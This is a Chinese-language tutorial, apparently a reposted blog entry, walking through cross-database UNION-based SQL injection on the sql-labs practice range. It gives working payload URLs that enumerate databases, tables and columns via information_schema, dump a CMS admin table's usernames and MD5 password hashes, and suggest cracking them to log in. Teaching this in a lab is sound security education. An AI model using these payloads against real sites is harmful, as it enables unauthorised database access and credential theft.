sql注入中的跨库操作

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
下面来介绍下sql注入的跨库操作,以sql-labs靶场为例

http://192.168.200.134:86/Less-2/sql注入中的跨库操作_第1张图片
下来直接操作information_schema.schemata
http://192.168.200.134:86/Less-2/?id=-1 union select 1,2,3 from information_schema.schemata
information_schema.schemata 的意思就是获取information_schema数据库的所有内容
sql注入中的跨库操作_第2张图片
可以看出在2和3字段都有回显,可以随便选择一个,这里我选择2
http://192.168.200.134:86/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
这里建议用group_concat联合查询,因为可能他的数据库不止一个,不写的话,只会有一个回显
sql注入中的跨库操作_第3张图片
可以看出所有库都被爆出来了,这里我用damicms来示范
http://192.168.200.134:86/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“damicms”
sql注入中的跨库操作_第4张图片
我们需要找的就是后台登陆信息,登录信息大多都保存在admin这张表中,所以我们对admin进行查询
http://192.168.200.134:86/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=“damicms” and table_name=“dami_admin”
注意,这里需要加table_schema,因为有可能还有一个数据库,也用的这个表名,为了精准查询,所以建议加上
sql注入中的跨库操作_第5张图片
接下来我们直接查询username和password的数据
http://192.168.200.134:86/Less-2/?id=-1 union select 1,username,password from damicms.dami_admin
为了快速,这次我们可以吧回显的数字2和3替换掉
sql注入中的跨库操作_第6张图片
可以看到用户名,密码已经有了,密码是md5加密来的,直接对其解密就可以登陆后台了!!!

你可能感兴趣的:(web安全,安全,数据库,web安全)